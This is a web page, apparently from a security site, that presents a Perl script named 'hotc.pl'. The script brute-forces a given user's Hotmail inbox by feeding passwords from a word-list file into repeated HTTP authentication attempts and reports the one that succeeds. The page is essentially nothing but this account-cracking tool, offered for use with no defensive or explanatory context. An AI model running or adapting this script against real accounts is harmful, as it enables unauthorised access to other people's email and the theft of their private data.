Home  Services  Contact  Projects  Whitepapers  Tools 


#!/usr/bin/perl
#
# 2001security@freefly.com
# minihack because of digest-auth!!
#

use LWP;
use HTTP::Request;
use HTTP::Response;
use HTTP::Status;

($ARGV[1]) || die "usage: [perl] hotc.pl USERNAME PASSLISTFILE\n";

$uid = $ARGV[0];
$pwf = $ARGV[1];
@passa = "";
$c = 0;

open(PWF, "< $pwf") || die "\ncant open $pwf\n";
while(<PWF>){
$passa[$c] = $_;
$c++;
}
close (PWF);

$urli = "http://www.hotmail.com/secure/start?action=inbox";

# very object oriented :-)
# "overwritten" get_basic_credentials method
# useful for our own authentication :-)

{
package RequestAgent;
@ISA = qw(LWP::UserAgent);

$nutzer = "";
$passwort = "";
$pwc = 0;
@pwlist = "";

sub new {
my $self = LWP::UserAgent::new(@_);
$self->agent("Mozilla 4.5 Windows 3.11 V43");
$self;
}

sub pwset{
($self,$nutzer,@pwlist) = @_;
}

sub get_basic_credentials {
my($self, $realm, $uri) = @_;
my $netloc = $uri->host_port;
my $user = $nutzer;
my $password = "";
$password = $pwlist[$pwc];
$password =~ s/\n//;
die "\nfinished\n" if(length($password) < 1);
$pwc++;
print "\n$password ";
return ($user, $password);
}

}

#
# end minipackage
#

my $user_agent = RequestAgent->new();
$user_agent->pwset($uid,@passa);

my $request = new HTTP::Request('GET', $urli);
my $response = $user_agent->request($request);

if ($response->is_success) {
print " *** YES *** ",$response->code(),"\n";
}


Home  Services  Contact  Projects  Whitepapers  Tools